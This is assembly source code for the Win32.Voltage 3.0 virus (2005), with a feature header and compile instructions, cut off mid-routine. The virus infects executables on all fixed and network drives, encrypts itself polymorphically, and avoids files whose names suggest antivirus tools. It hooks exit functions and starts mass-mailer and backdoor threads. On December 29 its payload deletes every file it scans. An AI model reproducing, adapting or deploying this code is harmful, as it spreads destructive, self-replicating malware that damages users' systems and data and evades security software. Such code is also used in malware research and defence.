| ||||||||||||||||
Win32.Voltage 3.0 MAPI version
by DR-EF
See also the project folder ;-----------------------------------------------------------------------| ;::: .::. ... ::::::::::::::::::. .,-:::::/ .,:::::: | ;';;, ,;;;'.;;;;;;;. ;;;;;;;;;;;'''';;`;; ,;;-'````' ;;;;'''' | ; \[[ .[[/ ,[[ \[[, [[[ [[ ,[[ '[[, [[[ [[[[[[/[[cccc | ; Y$c.$$" $$$, $$$ $$' $$ c$$$cc$$$c"$$c. "$$ $$"""" | ; Y88P "888,_ _,88Po88oo,.__88, 888 888,`Y8bo,,,o88o888oo,__ | ; MP "YMMMMMP" """"YUMMMMMM YMM ""` `'YMUP"YMM""""YUMMM | ;:::::::..-:. ::-. :::::::-. :::::::.. .,:::::: .-:::::' | ; ;;;'';;'';;. ;;;;' ;;, `';,;;;;``;;;; ;;;;'''' ;;;'''' | ; [[[__[[\. '[[,[[[' `[[ [[ [[[,/[[[' [[cccc [[[,,== | ; $$""""Y$$ c$$" $$, $$ $$$$$$ccccccc$$"""" `$$$"`` | ;_88o,,od8P ,8P"` 888_,o8P' 888b "88bo, 888oo,__ 888 | ;""YUMMMP" mM" MMMMP"` MMMM "W" """"YUMMM"MM, | ; | ;-----------------------------------------------------------------------| ; Win32.Voltage v3.0(MAPI) Version(c) DR-EF 2005 | ;-----------------------------------------------------------------------| ;Virus Name : Win32.Voltage v3.0(MAPI) | ;Virus Size : 20kb | ;Virus Type : Polymorphic PE\RAR Infector/Massmailer/Backdoor | ;Author : DR-EF | ;Author Homepage: http://home.arcor.de/dr-ef/ | ; | ;Virus Features : | ;---------------- | ; 1)infect files on all drivers from c ~ z | ; 2)avoid infect sfc protected files or antiviruses files | ; 3)virus is encrypted & polymorphed using VPE engine | ; 4)have its own rar archive packer | ; | ;Mail Worm Features: | ;------------------- | ; 1)find mails in the windows address book | ; 2)disable outlook express mapi sending warning | ; 3)random message/subject ; | ;Backdoor Features: | ;------------------- | ; 1)bind cmd shell to port 666 | ; 2)start at system startup | ; 3)disable windows xp firewall | ; | ;General Malware Features: | ;------------------------- | ; 1)use mutex to avoid 2 executions at the same time | ; 2)destructive payload | ; 3)multi-threded | ; 4)use SEH walker to find kernel32 base address | ; | ;Source Code Features: | ;--------------------- | ; 1)Debug Version Switch | ; 2)ability to disable\enable : mailworm,rar infection | ; backdoor droping,and first gen running check | ; | ;To Compile: | ;----------- | ; tasm32 /m3 /ml /zi w32_Voltage.asm , , ; | ; tlink32 /tpe /aa /v w32_Voltage , w32_Voltage,,import32.lib | ; pewrsec w32_Voltage.exe | ;-----------------------------------------------------------------------| .586 .model flat extrn _lopen:proc DEBUG equ 0 ;turn on/off debug version MAILWORM equ 1 ;turn on/off mail worm RARVIRUS equ 1 ;turn on/off rar virus BACKDOOR equ 1 ;turn on/off backdoor SEC_CHECK equ 0 ;turn on/off security check VirusSize equ (VirusEnd-_main) EncryptedVirus equ (EncryptedVirusEnd-(_main+EncryptionStart)) EncryptionStart equ (VirusStart-_main) .data db ? .code _main: add esp,8h ;restore stack call DecryptVirus VirusStart equ $ call Delta Delta: pop ebp sub ebp,offset Delta mov eax,fs:[0] ;find kernel using SEH walker search_last: mov edx,[eax] inc edx jz found_last dec edx xchg edx,eax jmp search_last found_last: mov eax,[eax+4] and eax,0ffff0000h search_mz: cmp word ptr [eax],'ZM' jz found_mz sub eax,10000h jmp search_mz found_mz: mov [ebp + kernel32base],eax add eax,[eax + 3ch] mov eax,[eax + 78h] add eax,[ebp + kernel32base] ;eax - kernel32 export table push eax xor edx,edx mov eax,[eax + 20h] add eax,[ebp + kernel32base] mov edi,[eax] add edi,[ebp + kernel32base] ;edi - api names array dec edi nxt_cmp:inc edi lea esi,[ebp + _GetProcAddress] mov ecx,0eh rep cmpsb je search_address inc edx nxt_l: cmp byte ptr [edi],0h je nxt_cmp inc edi jmp nxt_l search_address: pop eax ;eax - kernel32 export table ;edx - GetProcAddress position shl edx,1h mov ebx,[eax + 24h] add ebx,[ebp + kernel32base] add ebx,edx mov dx,word ptr [ebx] shl edx,2h mov ebx,[eax + 1ch] add ebx,[ebp + kernel32base] add ebx,edx mov ebx,[ebx] add ebx,[ebp + kernel32base] mov [ebp + __GetProcAddress],ebx mov ecx,NumberOfApis lea eax,[ebp + ApiNamesTable] lea ebx,[ebp + ApiAddressTable] mov edx,[ebp + kernel32base] call get_apis ;if fail we fucked,hehe ;virus algorithm start here ! ;***************************** ;create thread to run host call OverTID dd 0 ;thread id OverTID:xor eax,eax push eax push eax push [ebp + HostEntryPoint] push eax push eax call [ebp + CreateThread] mov dword ptr [ebp + HostThreadHandle],eax ;save host thread handle call AllowOnlyOneRun ;virus already running ? jc RunVirus ;start virus if not push -1 ;INFINTE push dword ptr [ebp + HostThreadHandle] call [ebp + WaitForSingleObject] ;wait forever for host jmp ExitVir RunVirus: call AvoidHostExit ;redirect exit functions to ExitThread ;load sfc library & get IsFileProtected api mov [ebp + SfcIsFileProtected],0h ;assume no sfc lea eax,[ebp + SFC_DLL] push eax call [ebp + LoadLibrary] ;load sfc library or eax,eax ;sfc here ? je NoSfc ;we not under xp\2000 lea ebx,[ebp + _SfcIsFileProtected] push ebx push eax ;sfc module handle call [ebp + __GetProcAddress] or eax,eax ;function not founded ? je NoSfc mov [ebp + SfcIsFileProtected],eax ;save function address NoSfc: call GetUser32Apis ;get apis that used to debuging/payload IF MAILWORM call GetADVAPI32Apis ;get apis used for registry stuff call PushTID dd 0 ;thread id PushTID:xor eax,eax push eax push eax lea ebx,[ebp + MassMail] push ebx push eax push eax call [ebp + CreateThread] ;create thread to run mail worm mov dword ptr [ebp + Mw_thread],eax ;save thread handle ENDIF IF BACKDOOR call PushTID2 dd 0 ;thread id PushTID2: xor eax,eax push eax push eax lea ebx,[ebp + Backdoor] push ebx push eax push eax call [ebp + CreateThread] ;create thread to drop backdoor ENDIF mov byte ptr [ebp + PayloadDay],0h lea eax,[ebp + SYSTEMTIME] push eax call [ebp + GetLocalTime] cmp word ptr [ebp + wMonth],12d jne NoPayLoad cmp word ptr [ebp + wDay],29d jne NoPayLoad inc byte ptr [ebp + PayloadDay] ;killing flag push MB_ICONINFORMATION lea eax,[ebp + CopyRight] push eax push eax push 0h call [ebp + MessageBox] ;show payload MessageBox NoPayLoad: ;start to infect all drivers from z to c mov byte ptr [ebp + StartDrive],'z' ;set start drive InfectNxtDrive: ;check if drive is remote or fixed lea eax,[ebp + StartDrive] push eax call [ebp + GetDriveType] cmp eax,DRIVE_FIXED je InfectIt cmp eax,DRIVE_REMOTE jne SkipDrive InfectIt: IF DEBUG push MB_YESNO lea eax,[ebp + DriveInfectionWarning] push eax lea eax,[ebp + StartDrive] push eax push 0h call [ebp + MessageBox] cmp eax,IDYES jne SkipDrive ENDIF lea eax,[ebp + StartDrive] push eax call [ebp + SetCurrentDirectory] or eax,eax je SkipDrive call InfectDrive SkipDrive: dec byte ptr [ebp + StartDrive] cmp byte ptr [ebp + StartDrive],'b' jne InfectNxtDrive IF MAILWORM push -1 ;INFINTE push dword ptr [ebp + Mw_thread] call [ebp + WaitForSingleObject] ;wait forever for mail worm to finish ENDIF push -1 ;INFINTE push dword ptr [ebp + HostThreadHandle] call [ebp + WaitForSingleObject] ;wait forever for host ExitVir: ;exit virus ! push eax call [ebp + ExitProcess] IF MAILWORM Mw_thread dd 0 ENDIF IF DEBUG DriveInfectionWarning db "Do You Wise To Infect This Drive?",0 ENDIF StartDrive db "z:\",0 DRIVE_FIXED equ 3 DRIVE_REMOTE equ 4 HostThreadHandle dd 0 PayloadDay db 0 WIN32_FIND_DATA2: dwFileAttributes_ dd 0 ftCreationTime_ dq 0 ftLastAccessTime_ dq 0 ftLastWriteTime_ dq 0 nFileSizeHigh_ dd 0 nFileSizeLow_ dd 0 dwReserved0_ dd 0 dwReserved1_ dd 0 cFileName_ db 0ffh dup (0) cAlternateFileName_ db 20 dup (0) ;+ some bytes for padding hsearch dd 0 ;recursive directory scanner... InfectDrive: lea eax,[ebp + WIN32_FIND_DATA2] push eax lea eax,[ebp + SearchMask] push eax call [ebp + FindFirstFile] cmp eax,INVALID_HANDLE_VALUE ;error ? je @Stops ;stop search mov [ebp + hsearch],eax ;save search handle @NxtF: mov eax,[ebp + dwFileAttributes_] ;get file attributes and eax,FILE_ATTRIBUTE_DIRECTORY ;remove bit masks cmp eax,FILE_ATTRIBUTE_DIRECTORY ;it is directory ? jne @isFile cmp byte ptr [ebp + cFileName_],'.' ;its start with . ? je @FndNxt push [ebp + hsearch] ;save search handle lea eax,[ebp + cFileName_] push eax call [ebp + SetCurrentDirectory] ;enter directory or eax,eax je @skpdir call InfectDrive ;infect all sub directorys lea eax,[ebp + dotdot] push eax call [ebp + SetCurrentDirectory] ;return to current directory @skpdir:pop [ebp + hsearch] ;restore search handle jmp @FndNxt @isFile: cmp byte ptr [ebp + PayloadDay],1h jne _NoPayload lea eax,[ebp + cFileName_] push eax call [ebp + DeleteFileA] jmp @FndNxt _NoPayload: lea eax,[ebp + File_Name] push eax lea eax,[ebp + FileToInfect] push eax push 260 lea eax,[ebp + cFileName_] push eax call [ebp + GetFullPathName] ;get file full path or eax,eax je @FndNxt ;check what kind of file we have: exe/scr or rar file lea eax,[ebp + FileToInfect] @Find0: cmp byte ptr [eax],0h je @GetExt inc eax jmp @Find0 @GetExt:sub eax,4h ;go before the .xxx or dword ptr [eax],20202020h ;convert to lower case cmp dword ptr [eax],"exe." je morechecks cmp dword ptr [eax],"rcs." je morechecks IF RARVIRUS cmp dword ptr [eax],"rar." je rar_file ENDIF jmp @FndNxt IF RARVIRUS rar_file: mov byte ptr [ebp + rarfile],1h ENDIF morechecks: mov eax,[ebp + nFileSizeLow_] ;get file size cmp eax,2800h ;too small ? jb @FndNxt cmp eax,300000h ;too big ? ja @FndNxt push eax pop [ebp + FileSize] ;save file size IF RARVIRUS cmp byte ptr [ebp + rarfile],1h je @xRar ;skip checks that are not relevant for rar file ENDIF xor edx,edx call pad_size or edx,edx ;already infected ? je @FndNxt call CheckFileName ;check for av file... jnc @FndNxt cmp dword ptr [ebp + SfcIsFileProtected],0h ;sfc working ? je SfcNotWork lea esi,[ebp + Unicode_Path] xor eax,eax mov ecx,200h rep stosb ;blank unicode buffer push 200h lea eax,[ebp + Unicode_Path] push eax push -1 ;string is null terminated lea eax,[ebp + FileToInfect] push eax xor eax,eax push eax push eax call [ebp + MultiByteToWideChar] ;convert path into unicode or eax,eax ;fail ? je @FndNxt ;dont infect lea eax,[ebp + Unicode_Path] push eax push 0h call [ebp + SfcIsFileProtected] ;check if file is protected cmp eax,0h ;is file protected ? jne @FndNxt SfcNotWork: ;sfc dont working,assume we on win9x call InfectFile jmp @FndNxt IF RARVIRUS @xRar: call InfectRar ENDIF @FndNxt: IF RARVIRUS mov byte ptr [ebp + rarfile],0h ENDIF lea eax,[ebp + WIN32_FIND_DATA2] push eax push [ebp + hsearch] call [ebp + FindNextFile] ;find next file or eax,eax jne @NxtF push [ebp + hsearch] call [ebp + FindClose] ;end the search @Stops: ret FILE_ATTRIBUTE_DIRECTORY equ 00000010h File_Name dd 0 dotdot db "..",0 SearchMask db "*.*",0 IF RARVIRUS rarfile db 0 ENDIF AvoidHostExit: ;this function redirect some functions used by program to exit to special ;exit handle that wont make the virus close itself push 0h call [ebp + GetModuleHandle] ;get currect module handle push eax call Overk32 db "kernel32.dll",0 Overk32:pop ebx call OverEP db "ExitProcess",0 OverEP: pop ecx lea edx,[ebp + HostExit] call HookApi mov eax,[esp] call OverLib db "msvcrt.dll",0 OverLib:pop ebx call Over_E db "_exit",0 Over_E: pop ecx lea edx,[ebp + HostExit] call HookApi pop eax call OverLib2 db "msvcrt.dll",0 OverLib2:pop ebx call Over_E2 db "exit",0 Over_E2:pop ecx lea edx,[ebp + HostExit] call HookApi ret IF RARVIRUS include rarvirus.asm ENDIF ;this function will be called instead of ExitProcess HostExit: call _Delta _Delta: pop ebp sub ebp,offset _Delta ;get delta offset push eax call [ebp + ExitThread] ;exit thread AllowOnlyOneRun: ;use mutex to check if we already running lea eax,[ebp + CopyRight] push eax push 0h push MUTEX_ALL_ACCESS call [ebp + OpenMutex] cmp eax,0h jne AlreadyRun lea eax,[ebp + CopyRight] push eax xor eax,eax push eax push eax call [ebp + CreateMutex] stc ret AlreadyRun: clc ret MUTEX_ALL_ACCESS equ 001F0001h kernel32base dd 0 _GetProcAddress db "GetProcAddress",0 __GetProcAddress dd 0 ApiNamesTable: _CreateFile db "CreateFileA",0 _CloseHandle db "CloseHandle",0 _CreateFileMapping db "CreateFileMappingA",0 _MapViewOfFile db "MapViewOfFile",0 _UnmapViewOfFile db "UnmapViewOfFile",0 _LoadLibrary db "LoadLibraryA",0 _FreeLibrary db "FreeLibrary",0 _GetModuleFileName db "GetModuleFileNameA",0 _SetFileAttributesA db "SetFileAttributesA",0 _GetFileSize db "GetFileSize",0 _SetFilePointer db "SetFilePointer",0 _SetEndOfFile db "SetEndOfFile",0 _GetTickCount db "GetTickCount",0 _GlobalAlloc db "GlobalAlloc",0 _GlobalFree db "GlobalFree",0 _GetLocalTime db "GetLocalTime",0 _GetFileAttributes db "GetFileAttributesA",0 _GetFileTime db "GetFileTime",0 _SetFileTime db "SetFileTime",0 _CreateMutexA db "CreateMutexA",0 _OpenMutexA db "OpenMutexA",0 _FindFirstFileA db "FindFirstFileA",0 _FindNextFileA db "FindNextFileA",0 _SetCurrentDirectoryA db "SetCurrentDirectoryA",0 _WriteFile db "WriteFile",0 _FindClose db "FindClose",0 _MultiByteToWideChar db "MultiByteToWideChar",0 _lstrcatA db "lstrcatA",0 _CreateThread db "CreateThread",0 _GetModuleHandle db "GetModuleHandleA",0 _Sleep db "Sleep",0 _WaitForSingleObject db "WaitForSingleObject",0 _ExitThread db "ExitThread",0 _ExitProcess db "ExitProcess",0 _GetDriveTypeA db "GetDriveTypeA",0 _GetFullPathNameA db "GetFullPathNameA",0 _WinExec db "WinExec",0 _VirtualProtect db "VirtualProtect",0 _SetUnhandledExceptionFilter db "SetUnhandledExceptionFilter",0 _DeleteFileA db "DeleteFileA",0 ApiAddressTable: CreateFile dd 0 CloseHandle dd 0 CreateFileMapping dd 0 MapViewOfFile dd 0 UnMapViewOfFile dd 0 LoadLibrary dd 0 FreeLibrary dd 0 GetModuleFileName dd 0 SetFileAttributes dd 0 GetFileSize dd 0 SetFilePointer dd 0 SetEndOfFile dd 0 GetTickCount dd 0 GlobalAlloc dd 0 GlobalFree dd 0 GetLocalTime dd 0 GetFileAttributes dd 0 GetFileTime dd 0 SetFileTime dd 0 CreateMutex dd 0 OpenMutex dd 0 FindFirstFile dd 0 FindNextFile dd 0 SetCurrentDirectory dd 0 WriteFile dd 0 FindClose dd 0 MultiByteToWideChar dd 0 lstrcat dd 0 CreateThread dd 0 GetModuleHandle dd 0 Sleep dd 0 WaitForSingleObject dd 0 ExitThread dd 0 ExitProcess dd 0 GetDriveType dd 0 GetFullPathName dd 0 WinExec dd 0 VirtualProtect dd 0 SetUnhandledExceptionFilter dd 0 DeleteFileA dd 0 NumberOfApis equ 40 CopyRight db "Win32.Voltage Virus Written By DR-EF (c) 2005",0 SYSTEMTIME: wYear dw 0 wMonth dw 0 wDayOfWeek dw 0 wDay dw 0 wHour dw 0 wMinute dw 0 wSecond dw 0 wMilliseconds dw 0 IF MAILWORM GetADVAPI32Apis: lea eax,[ebp + ADVAPI32dll] push eax call [ebp + LoadLibrary] xchg eax,edx mov ecx,NumberOfRegFunctions lea eax,[ebp + reg_functions_sz] lea ebx,[ebp + reg_function_addresses] call get_apis ret ADVAPI32dll db "ADVAPI32.DLL",0 reg_functions_sz: _RegOpenKeyExA db "RegOpenKeyExA",0 _RegCloseKey db "RegCloseKey",0 _RegQueryValueEx db "RegQueryValueExA",0 _RegSetValueEx db "RegSetValueExA",0 reg_function_addresses: RegOpenKeyEx dd 0 RegCloseKey dd 0 RegQueryValueEx dd 0 RegSetValueEx dd 0 NumberOfRegFunctions equ 4 ENDIF GetUser32Apis: lea eax,[ebp + User32dll] push eax call [ebp + LoadLibrary] xchg eax,edx mov ecx,NumberOfUser32Functions lea eax,[ebp + user32_functions_sz] lea ebx,[ebp + user32_functions_addresses] call get_apis ret User32dll db "User32.dll",0 user32_functions_sz: _MessageBox db "MessageBoxA",0 user32_functions_addresses: MessageBox dd 0 SetWindowText dd 0 NumberOfUser32Functions equ 1 MB_SYSTEMMODAL equ 00001000h MB_ICONINFORMATION equ 00000040h hfind dd 0 search_mask db "*.*",0 WIN32_FIND_DATA: dwFileAttributes dd 0 ftCreationTime dq 0 ftLastAccessTime dq 0 ftLastWriteTime dq 0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db 0ffh dup (0) cAlternateFileName db 14 dup (0) FileToInfect db 0FFH dup(0) ;input: ;eax - image base ;ebx - dll name in lower case ;ecx - function name ;edx - hook procedure ;output ;eax - new function address or 0 if fail HookApi: cmp word ptr [eax],"ZM" ;check mz sign jne HookErr push eax ;save image base in the stack add eax,[eax + 3ch] ;goto pe header add eax,80h mov eax,[eax] ;get import section rva cmp eax,0h je HookErr_ add eax,[esp] ;convert it to va @Dll: mov esi,[eax + 0ch] cmp esi,0h je HookErr_ add esi,[esp] ;esi - dll name ;compare the dll name in [esi],with our dll: pushad xchg edi,ebx KeepCmp:cmp byte ptr [esi],0h je _dll mov cl,byte ptr [esi] or cl,20h ;convert to lower case cmp byte ptr [edi],cl jne NextDll inc edi inc esi jmp KeepCmp NextDll:popad add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure jmp @Dll _dll: popad ;edx - Hook procedure ;ecx - function to hook ;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll ;[esp] - image base mov ebx,[eax] ;get rva to pointers to image import by name structures add ebx,[esp] ;convert it to va xor edi,edi ;used to save loop index @FindApi: ;ebx - pointer to pointers arrary of import by name structures push edi ;save loop index push ebx ;save pointer to import by name structures push eax ;save import section rva push ecx ;save function to hook name push edx ;save hook procedure mov esi,[ebx] ;get import by name structure rva add esi,[esp + 14h] ;convert it to va add esi,2h ;skip the IBN_Hint mov edi,ecx ;move our api name into edi xor ecx,ecx ;used to save our api name size @GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ? je ___Size inc ecx jmp @GSize_ ___Size:inc ecx ;include the 0 rep cmpsb ;compare api names je ApiFound ;we found it ! pop edx pop ecx pop eax pop ebx pop edi add edi,4h add ebx,4h ;move to next pointer cmp dword ptr [ebx],0h ;no more pointers ??? jne @FindApi HookErr_: pop eax HookErr:xor eax,eax ret ApiFound: pop edx pop ecx pop eax pop ebx pop edi mov esi,[eax + 10h] ;rva to name add esi,[esp] add esi,edi ;goto our api address mov eax,[esi] ;get our api old address push edx call OverVp dd 0 OverVp: push PAGE_READWRITE push 10h push esi ;use virtual protect to set call [ebp + VirtualProtect] ;the memory to writeable pop edx mov [esi],edx ;hook it ! pop esi ;restore stack ret InfectFile: ;*********************Debug C0de******************************* IF DEBUG push MB_YESNO lea eax,[ebp + warning] push eax lea eax,[ebp + FileToInfect] push eax push 0h call [ebp + MessageBox] cmp eax,IDYES jne ExitInfect ENDIF ;************************************************************** call RemoveFileAttributes call OpenFile jnc ExitInfect lea eax,[ebp + InfectionSEH] push eax call [ebp + SetUnhandledExceptionFilter];set SEH mov [ebp + Infection_SEH],eax mov eax,[ebp + mapbase] cmp word ptr [eax],"ZM" ;check mz sign jne ExitWithoutInfection mov ecx,dword ptr [eax + 18h] ;check if relocation in mz header cmp ecx,40h ;is 0x40 which is always for pe file jne ExitWithoutInfection add eax,[eax + 3ch] cmp word ptr [eax],"EP" ;check pe sign jne ExitWithoutInfection push eax ;save pe header offset in the stack mov cx,word ptr [eax + 16h] ;get flags and cx,2000h cmp cx,2000h ;is dll ? jne nodll ;infect only executeables pop eax ;restore stack jmp ExitWithoutInfection nodll: mov ecx,[eax + 34h] ;get image base mov [ebp + ProgramImageBase],ecx ;save image base movzx ecx,word ptr [eax + 6h] ;get number of sections mov ebx,[eax + 74h] shl ebx,3h add eax,ebx add eax,78h ;goto first section header @nexts: mov ebx,[eax + 24h] ;get section flags and ebx,20h cmp ebx,20h ;is code section ? je FoundCS add eax,28h loop @nexts pop eax ;restore stack jmp ExitWithoutInfection FoundCS:mov ebx,[eax + 24h] ;get section flags and ebx,80000000h cmp ebx,80000000h ;does code section writeable ? jne __x1 pop eax ;restore stack jmp ExitWithoutInfection __x1: mov ebx,[esp] ;get pe header mov ebx,[ebx + 80h] ;get imports rva mov ecx,[eax + 0ch] ;get section rva cmp ebx,ecx jb OutOfRange add ecx,[eax + 10h] ;add size of raw data cmp ebx,ecx ja OutOfRange pop eax jmp ExitWithoutInfection ;bad file,imports is merged in code section... OutOfRange: mov ebx,[eax + 10h] ;get section size of raw data sub ebx,[eax + 8h] cmp ebx,0beh ;check for minimum decryptor size ja ____1 pop eax ;restore stack jmp ExitWithoutInfection ____1: mov ecx,[eax + 8h] ;get section vitrual size mov ebx,ecx ;get section virtual size add ebx,[eax + 14h] ;add to it pointer raw data rva add ebx,[ebp + mapbase] ;convert it to va mov [ebp+WhereToWriteDecryptor],ebx ;set where to write decryptor ;save host original entry point mov ebx,dword ptr [esp] ;get pe header mov eax,[ebx + 28h] ;get entry point rva add eax,[ebx + 34h] ;convert it to va mov [ebp + HostEntryPoint],eax ;save original EP ;redirect host entry point to the decryptor mov eax,[ebp + WhereToWriteDecryptor] sub eax,[ebp + mapbase] mov [ebx + 28h],eax ;set new entry point mov eax,dword ptr [esp] ;get pe header xor ecx,ecx mov cx,word ptr [eax + 6h] ;get number of sections dec ecx mov ebx,[eax + 74h] shl ebx,3h add eax,ebx add eax,78h @nexts2:add eax,28h loop @nexts2 ;goto last section header or [eax + 24h],0C0000000h ;set section flags to readable\writeable add dword ptr [eax + 8h],VirusSize ;add virus size to section virtual size mov [ebp + Ls],eax ;save last section offset xchg eax,ebx mov eax,[ebx + 8h] ;get section new virtual size mov ecx,dword ptr [esp] ;get pe header mov ecx,[ecx + 3ch] ;get file alignment push eax ;\ xor edx,edx ; \ div ecx ;-->align section size sub ecx,edx ; / pop dword ptr [ebx + 10h] ;/ add dword ptr [ebx + 10h],ecx ;set new section size of raw data push eax mov [ebp + FixRVA],0 ;add VirtualSize-PointerToRawData mov eax,[ebx + 0ch] ;subtraction to the virus offset sub eax,[ebx + 14h] ;when decrypting and jumping to mov [ebp + FixRVA],eax ;virus at runtime. pop eax mov eax,[ebx + 14h] ;get section raw data rva add eax,[ebp + mapbase] ;convert it to va add eax,[ebx + 8h] ;goto end of section sub eax,VirusSize mov [ebp + StartOfDataToEncrypt],eax;set the virus start offset xchg edi,eax call [ebp + GetTickCount] mov dword ptr [ebp + SlidingKey],eax;save sliding key push eax call [ebp + GetTickCount] mov byte ptr [ebp + XorKey],al ;set random key push edi ;virus in infected files push eax ;tick count lea esi,[ebp + _main] mov ecx,VirusSize rep movsb ;copy virus into host pop eax pop edi pop edx mov ecx,EncryptedVirus add edi,EncryptionStart encrypt:rol edx,1h ;slide the key sub byte ptr [edi],dl xor byte ptr [edi],al inc edi loop encrypt call CreateDecryptor ;create polymorphic decryptor pop ebx ;restore pe header mov edx,[ebp + Ls] mov eax,[edx + 0ch] add eax,[edx + 10h] mov dword ptr [ebx + 50h],eax ;set new size of image call PadFileSize ExitCloseF: call CloseFile ExitInfect: call RestoreFileAttributes ret ExitWithoutInfection: call RestoreFileSize call CloseFile call RestoreFileAttributes ret InfectionSEH: call IS_D IS_D: pop ebp sub ebp,offset IS_D push [ebp + Infection_SEH] call [ebp + SetUnhandledExceptionFilter] ;remove SEH jmp ExitWithoutInfection Infection_SEH dd 0 IF MAILWORM include mailworm.asm ENDIF Ls dd 0 SFC_DLL db "SFC.DLL",0 _SfcIsFileProtected db "SfcIsFileProtected",0 SfcIsFileProtected dd 0 Unicode_Path db 200h dup(0) ;200=2 max_path CP_ACP equ 0 RemoveFileAttributes: lea eax,[ebp + FileToInfect] push eax call [ebp + GetFileAttributes] mov [ebp + OldFileAttribute],eax push FILE_ATTRIBUTE_NORMAL lea eax,[ebp + FileToInfect] push eax call [ebp + SetFileAttributes] ret OldFileAttribute dd 0 RestoreFileAttributes: push dword ptr [ebp + OldFileAttribute] lea eax,[ebp + FileToInfect] push eax call [ebp + SetFileAttributes] ret PadFileSize: call pad_size push FILE_BEGIN push 0h push eax push dword ptr [ebp + hfile] call [ebp + SetFilePointer] push dword ptr [ebp + hfile] call [ebp + SetEndOfFile] ret RestoreFileSize: push FILE_BEGIN push 0h push dword ptr [ebp + FileSize] push dword ptr [ebp + hfile] call [ebp + SetFilePointer] push dword ptr [ebp + hfile] call [ebp + SetEndOfFile] ret CloseFile: push dword ptr [ebp + mapbase] call [ebp + UnMapViewOfFile] push dword ptr [ebp + hmap] call [ebp + CloseHandle] lea eax,[ebp + LastWriteTime] push eax lea eax,[ebp + LastAccessTime] push eax lea eax,[ebp + CreationTime] push eax push dword ptr [ebp + hfile] call [ebp + SetFileTime] push dword ptr [ebp + hfile] call [ebp + CloseHandle] ret OpenFile: xor eax,eax push eax push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push eax push eax push GENERIC_READ or GENERIC_WRITE lea eax,[ebp + FileToInfect] push eax call [ebp + CreateFile] cmp eax,INVALID_HANDLE_VALUE je OpenFileErr mov dword ptr [ebp + hfile],eax lea eax,[ebp + LastWriteTime] push eax lea eax,[ebp + LastAccessTime] push eax lea eax,[ebp + CreationTime] push eax push dword ptr [ebp + hfile] call [ebp + GetFileTime] xor eax,eax push eax push dword ptr [ebp + FileSize] add dword ptr [esp],VirusSize push eax push PAGE_READWRITE push eax push dword ptr [ebp + hfile] call [ebp + CreateFileMapping] cmp eax,0h je FileSizeErr mov dword ptr [ebp + hmap],eax push dword ptr [ebp + FileSize] add dword ptr [esp],VirusSize xor eax,eax push eax push eax push FILE_MAP_WRITE push dword ptr [ebp + hmap] call [ebp + MapViewOfFile] cmp eax,0h je MapFileErr mov dword ptr [ebp + mapbase],eax stc ret MapFileErr: push dword ptr [ebp + hmap] call [ebp + CloseHandle] FileSizeErr: push dword ptr [ebp + hfile] call [ebp + CloseHandle] OpenFileErr: clc ret include polyengine.asm FileSize dd 0 hfile dd 0 hmap dd 0 mapbase dd 0 CreationTime dq 0 LastAccessTime dq 0 LastWriteTime dq 0 IF DEBUG warning db "Warning!!!:Voltage virus is going to infect this file,press yes to infect",0 ENDIF FILE_ATTRIBUTE_NORMAL equ 00000080h OPEN_EXISTING equ 3 GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h INVALID_HANDLE_VALUE equ -1 PAGE_READWRITE equ 4h FILE_MAP_WRITE equ 00000002h FILE_BEGIN equ 0 MB_YESNO equ 00000004h IDYES equ 6 ;eax - file size pad_size: push eax xor edx,edx mov ecx,65h ;101d div ecx cmp edx,0h je no_pad sub ecx,edx xchg ecx,edx no_pad: pop eax add eax,edx ret IF BACKDOOR include backdoor.asm ENDIF ;check if file is related to av programs or canot be infected ;input: ;esi - file name ;output: ;carry flag CheckFileName: lea esi,[ebp + FileToInfect] xor ecx,ecx @checkV:cmp byte ptr [esi + ecx],'v' je badfile cmp byte ptr [esi + ecx],'V' je badfile cmp byte ptr [esi + ecx],0h je no_v inc ecx jmp @checkV no_v: push esi ;save file name for later use mov ecx,TwoBytesNames ;scan for 2 bytes bad name lea edi,[ebp + DontInfectTable] l2: mov bx,word ptr [edi] l2_1: mov ax,word ptr [esi] cmp ax,bx je ex_rs add bx,2020h cmp ax,bx je ex_rs sub bx,2020h inc esi cmp byte ptr [esi],0h jne l2_1 mov esi,[esp] ;restore file name add edi,2h loop l2 mov ecx,FourBytesNames ;scan for 4 bytes bad name lea edi,[ebp + DontInfectTable + (2*TwoBytesNames)] mov esi,[esp] ;get file name l3: mov ebx,dword ptr [edi] l3_1: mov eax,dword ptr [esi] cmp eax,ebx je ex_rs add ebx,20202020h cmp eax,ebx je ex_rs sub ebx,20202020h inc esi cmp byte ptr [esi],0h jne l3_1 mov esi,[esp] add edi,4h loop l3 pop esi stc ret ex_rs: pop esi badfile:clc ret DontInfectTable: db "FP" db "TB" db "AW" db "DR" db "F-" TwoBytesNames equ 5 db "INOC" db "PAND" db "ANTI" db "AMON" db "N32S" db "NOD3" db "NPSS" db "SMSS" db "SCAN" db "ZONE" db "PROT" db "MONI" db "RWEB" db "MIRC" db "CKDO" db "TROJ" db "SAFE" db "JEDI" db "TRAY" db "ANDA" db "SPID" db "PLOR" db "NDLL" db "TREN" db "NSPL" db "NSCH" db "SYST" ;dont infect files in system directory db "ALER" FourBytesNames equ 28 GPTR equ 0040h FILE_ATTRIBUTE_NORMAL equ 00000080h FILE_ATTRIBUTE_READONLY equ 00000001h FILE_ATTRIBUTE_HIDDEN equ 00000002h FILE_ATTRIBUTE_SYSTEM equ 00000004h FILE_MAP_READ equ 00000004h OPEN_EXISTING equ 3 CREATE_ALWAYS equ 2 OPEN_ALWAYS equ 4 FILE_SHARE_READ equ 00000001h GENERIC_READ equ 80000000h PAGE_READONLY equ 00000002h HKEY_CLASSES_ROOT equ 80000000h HKEY_CURRENT_USER equ 80000001h REG_SZ equ 1h KEY_WRITE equ 00020006h KEY_READ equ 00020019h KEY_QUERY_VALUE equ 0001h ERROR_SUCCESS equ 0h FILE_CURRENT equ 1 PAGE_READWRITE equ 4 hkey dd 0 get_apis: ;ecx - number of apis ;eax - address to api strings ;ebx - address to api address ;edx - module handle NextAPI: push ecx push edx push eax push eax push edx call [ebp + __GetProcAddress] cmp eax,0h je ApiErr mov dword ptr [ebx],eax pop eax NextSTR:inc eax cmp byte ptr [eax],0h jne NextSTR inc eax add ebx,4h pop edx pop ecx 